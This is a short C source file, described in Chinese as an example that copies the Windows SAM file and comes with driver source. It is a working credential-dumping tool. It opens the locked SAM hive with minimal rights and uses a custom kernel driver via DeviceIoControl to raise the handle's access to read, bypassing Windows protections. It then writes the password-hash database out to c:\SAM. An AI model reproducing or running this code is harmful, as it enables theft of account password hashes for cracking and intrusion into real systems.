samcopy.c

一个拷贝系统的SAM 文件的示例,附带驱动源码.

#include <windows.h>
#include "hchange.h"



BOOLEAN SetHandleAccess(
             HANDLE Handle,  
             ACCESS_MASK GrantedAccess
             )
{
    HANDLE  hDriver;
    ULONG   Bytes;
    ULONG   Buff[2];
    BOOLEAN Result = FALSE;

    hDriver = CreateFile("\\\\.\\haccess", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);

    if (hDriver != INVALID_HANDLE_VALUE)
    {
        Buff[0] = (ULONG)Handle;
        Buff[1] = GrantedAccess;

        Result = DeviceIoControl(hDriver, IOCTL1, Buff, sizeof(Buff), NULL, 0, &Bytes, NULL);

        CloseHandle(hDriver);
    }
	return Result;
}




void main()
{
    HANDLE hFile, hDest;
    ULONG  Size, Bytes;
    PVOID  Data;
    CHAR   Name[MAX_PATH];

    GetSystemDirectory(Name, MAX_PATH);

    lstrcat(Name, "\\config\\SAM");

    hFile = CreateFile(Name, FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                       NULL, OPEN_EXISTING, 0, 0);

    if (hFile != INVALID_HANDLE_VALUE)
    {
        if (SetHandleAccess(hFile, AC_GENERIC_READ))
        {
            Size = GetFileSize(hFile, NULL);

            Data = VirtualAlloc(NULL, Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

            if (Data)
            {
                ReadFile(hFile, Data, Size, &Bytes, NULL);

                hDest = CreateFile("c:\\SAM", GENERIC_WRITE, 0, NULL, CREATE_NEW, 0, 0);

                if (hDest != INVALID_HANDLE_VALUE)
                {
                    WriteFile(hDest, Data, Size, &Bytes, NULL);

                    CloseHandle(hDest);
                }
                VirtualFree(Data, 0, MEM_RELEASE);
            }
        }
        CloseHandle(hFile);
    }
}